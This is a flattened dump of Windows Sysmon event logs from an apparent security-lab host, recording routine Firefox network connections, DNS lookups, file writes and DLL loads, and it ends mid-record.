Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59522-false34.120.115.102102.115.120.34.bc.googleusercontent.com443https 354300x800000000000000050766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.031{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59521-false34.120.115.102102.115.120.34.bc.googleusercontent.com443https 354300x800000000000000050765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.031{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58967- 354300x800000000000000050764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.030{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59191- 354300x800000000000000050763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.028{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55344- 354300x800000000000000050762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.989{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59518-false52.37.150.23ec2-52-37-150-23.us-west-2.compute.amazonaws.com443https 354300x800000000000000050761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.913{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59520-false93.184.220.29-80http 354300x800000000000000050760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.912{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53756- 354300x800000000000000050759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.889{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59519-false35.244.247.133133.247.244.35.bc.googleusercontent.com443https 354300x800000000000000050758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.888{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60978- 354300x800000000000000050757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.888{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58912- 354300x800000000000000050756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.841{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55625- 354300x800000000000000050755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.841{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55131- 23542300x800000000000000050754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.670{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000050753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.761{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60205- 354300x800000000000000050752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.761{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59517-false52.222.214.96server-52-222-214-96.fra56.r.cloudfront.net443https 354300x800000000000000050751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.760{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62994- 354300x800000000000000050750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.752{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54914- 354300x800000000000000050749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.731{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62679- 354300x800000000000000050748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.730{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59516-false2.22.117.227a2-22-117-227.deploy.static.akamaitechnologies.com80http 354300x800000000000000050747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.723{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54674- 354300x800000000000000050746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.660{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59515-false34.117.237.239239.237.117.34.bc.googleusercontent.com443https 354300x800000000000000050745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.655{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58947- 354300x800000000000000050744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.592{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59091- 354300x800000000000000050743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.592{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61480- 354300x800000000000000050742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.590{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local63757- 354300x800000000000000050741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.572{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63757- 354300x800000000000000050740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.558{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59514-false34.107.221.8282.221.107.34.bc.googleusercontent.com80http 354300x800000000000000050739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.514{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59513-false34.107.221.8282.221.107.34.bc.googleusercontent.com80http 354300x800000000000000050738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.513{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57569- 354300x800000000000000050737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.509{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59481- 354300x800000000000000050736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.631{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcpfalsefalse127.0.0.1win-dc-387.attackrange.local59512-false127.0.0.1win-dc-387.attackrange.local59511- 354300x800000000000000050735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.631{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse127.0.0.1win-dc-387.attackrange.local59512-false127.0.0.1win-dc-387.attackrange.local59511- 23542300x800000000000000050734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.455{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=947FEEC53172587C22D8B68B494EAA1C,SHA256=23CDFDEA878648FBE62C63B1F1BB1EF37C96552BCF2ADB8DD6D5F77C60C69F49,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.255{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\search.json.mozlz4MD5=A52BFA33969CB66228B092D500B22119,SHA256=893ECCBDB36D3F5C88D87AEBCDFF8EC498225996ADB00EFF1C0F3A4E5EB49EEE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 22542200x800000000000000050732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.885{7BD73061-728D-613B-560B-00000000F001}4776www.ebay.de0type: 5 slot11847.ebay.com.edgekey.net;type: 5 e11847.g.akamaiedge.net;::ffff:2.18.234.244;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.885{7BD73061-728D-613B-560B-00000000F001}4776www.reddit.com0type: 5 reddit.map.fastly.net;::ffff:151.101.13.140;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.885{7BD73061-728D-613B-560B-00000000F001}4776e15317.a.akamaiedge.net0104.75.90.58;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.883{7BD73061-728D-613B-560B-00000000F001}4776www.amazon.de0type: 5 tp.abe2c2f23-frontier.amazon.de;type: 5 www.amazon.de.edgekey.net;type: 5 e15317.a.akamaiedge.net;::ffff:104.75.90.58;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.883{7BD73061-728D-613B-560B-00000000F001}4776dyna.wikimedia.org02620:0:862:ed1a::1;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.881{7BD73061-728D-613B-560B-00000000F001}4776youtube-ui.l.google.com02a00:1450:4001:82a::200e;2a00:1450:4001:827::200e;2a00:1450:4001:828::200e;2a00:1450:4001:829::200e;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.880{7BD73061-728D-613B-560B-00000000F001}4776star-mini.c10r.facebook.com02a03:2880:f11c:8183:face:b00c:0:25de;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.880{7BD73061-728D-613B-560B-00000000F001}4776youtube-ui.l.google.com0142.250.186.46;142.250.186.78;142.250.186.110;142.250.186.142;142.250.186.174;142.250.184.206;142.250.184.238;172.217.18.110;172.217.23.110;216.58.212.142;142.250.185.78;142.250.185.110;142.250.185.142;142.250.185.174;142.250.185.206;142.250.74.206;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.880{7BD73061-728D-613B-560B-00000000F001}4776dyna.wikimedia.org091.198.174.192;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.877{7BD73061-728D-613B-560B-00000000F001}4776star-mini.c10r.facebook.com0157.240.20.35;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.876{7BD73061-728D-613B-560B-00000000F001}4776www.facebook.com0type: 5 star-mini.c10r.facebook.com;::ffff:157.240.20.35;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.876{7BD73061-728D-613B-560B-00000000F001}4776www.youtube.com0type: 5 youtube-ui.l.google.com;::ffff:142.250.74.206;::ffff:142.250.186.46;::ffff:142.250.186.78;::ffff:142.250.186.110;::ffff:142.250.186.142;::ffff:142.250.186.174;::ffff:142.250.184.206;::ffff:142.250.184.238;::ffff:172.217.18.110;::ffff:172.217.23.110;::ffff:216.58.212.142;::ffff:142.250.185.78;::ffff:142.250.185.110;::ffff:142.250.185.142;::ffff:142.250.185.174;::ffff:142.250.185.206;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.876{7BD73061-728D-613B-560B-00000000F001}4776www.wikipedia.org0type: 5 dyna.wikimedia.org;::ffff:91.198.174.192;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.609{7BD73061-728D-613B-560B-00000000F001}4776cs9.wac.phicdn.net9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.607{7BD73061-728D-613B-560B-00000000F001}4776cs9.wac.phicdn.net093.184.220.29;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.585{7BD73061-728D-613B-560B-00000000F001}4776prod.data-ingestion.prod.dataops.mozgcp.net9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.583{7BD73061-728D-613B-560B-00000000F001}4776prod.data-ingestion.prod.dataops.mozgcp.net035.244.247.133;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.429{7BD73061-728D-613B-560B-00000000F001}4776a1887.dscq.akamai.net02a02:26f0:1700:f::1737:a194;2a02:26f0:1700:f::1737:a1a4;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.426{7BD73061-728D-613B-560B-00000000F001}4776a1887.dscq.akamai.net02.22.118.162;2.22.117.227;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.423{7BD73061-728D-613B-560B-00000000F001}4776r3.o.lencr.org0type: 5 o.lencr.edgesuite.net;type: 5 a1887.dscq.akamai.net;::ffff:2.22.117.227;::ffff:2.22.118.162;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.291{7BD73061-728D-613B-560B-00000000F001}4776d2nxq2uap88usk.cloudfront.net02600:9000:211e:aa00:a:da5e:7900:93a1;2600:9000:211e:da00:a:da5e:7900:93a1;2600:9000:211e:ac00:a:da5e:7900:93a1;2600:9000:211e:d400:a:da5e:7900:93a1;2600:9000:211e:e800:a:da5e:7900:93a1;2600:9000:211e:3800:a:da5e:7900:93a1;2600:9000:211e:1e00:a:da5e:7900:93a1;2600:9000:211e:4a00:a:da5e:7900:93a1;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.287{7BD73061-728D-613B-560B-00000000F001}4776d2nxq2uap88usk.cloudfront.net013.32.22.114;13.32.22.105;13.32.22.10;13.32.22.13;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.234{7BD73061-728D-613B-560B-00000000F001}4776example.org0::ffff:93.184.216.34;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.234{7BD73061-728D-613B-560B-00000000F001}4776example.org093.184.216.34;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.210{7BD73061-728D-613B-560B-00000000F001}4776prod.detectportal.prod.cloudops.mozgcp.net02600:1901:0:38d7::;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.208{7BD73061-728D-613B-560B-00000000F001}4776prod.detectportal.prod.cloudops.mozgcp.net034.107.221.82;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000050706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.206{7BD73061-728D-613B-560B-00000000F001}4776detectportal.firefox.com0type: 5 detectportal.prod.mozaws.net;type: 5 prod.detectportal.prod.cloudops.mozgcp.net;::ffff:34.107.221.82;C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000050705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.139{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.124{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC317B682E51BEB063093D261706054E,SHA256=11E8109583618E7852CC2E1331E942459D38A582FA315AE14ADC8D6E1976D1D8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.108{7BD73061-728D-613B-560B-00000000F001}47766624C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a02441|C:\Program Files\Mozilla Firefox\xul.dll+a63798|C:\Program Files\Mozilla Firefox\xul.dll+ce8b1|C:\Program Files\Mozilla Firefox\xul.dll+19cb8d2|C:\Program Files\Mozilla Firefox\xul.dll+173c649|C:\Program Files\Mozilla Firefox\xul.dll+166f6b9|C:\Program Files\Mozilla Firefox\xul.dll+26cc2|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+8ae017|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.105{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\freebl3.dll92.0-FirefoxMozilla Foundationfreebl3.dllMD5=8E708A178EA76DAFDA64D6B9290725BA,SHA256=3480BF27277E603806C794CA9378C5EC6E1B41B77432E828D79E846DD64E5DCD,IMPHASH=53652A7DC9DFE48EFEF7CDBD318659AFtrueMozilla CorporationValid 734700x800000000000000050701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.105{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\softokn3.dll92.0-FirefoxMozilla Foundationsoftokn3.dllMD5=D4C21A21AB0C94C96C3B64D447A6B5CD,SHA256=478EEA8D567BCF9226719A080A0C52F6EE13FAAA7E12274778758C7BBE4A7455,IMPHASH=8217C8B17239D6236F43DE3AC007B8A6trueMozilla CorporationValid 10341000x800000000000000050700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.102{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.086{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.086{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\DWrite.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft DirectX Typography ServicesMicrosoft® Windows® Operating SystemMicrosoft CorporationDWriteMD5=1875083243EE498D0B2BB6B025AD7520,SHA256=A3FA592126642537BF6F0E4E9750A43A899525FE616DE899ABD7F26A9E7620C4,IMPHASH=4DF173E853B52F621D05CC337B9F72CEtrueMicrosoft WindowsValid 734700x800000000000000050697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.086{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\devobj.dll10.0.14393.0 (rs1_release.160715-1616)Device Information Set DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationdevinfoset.DLLMD5=72AD993A6E896EB50058A73D045F3284,SHA256=CFF524F52D5F91788F34A47076E0CA36132890981079B27F559279B3F6FC3B11,IMPHASH=DFDCA72C641F8587ADF49CA0ED1D5817trueMicrosoft WindowsValid 10341000x800000000000000050696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.086{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla 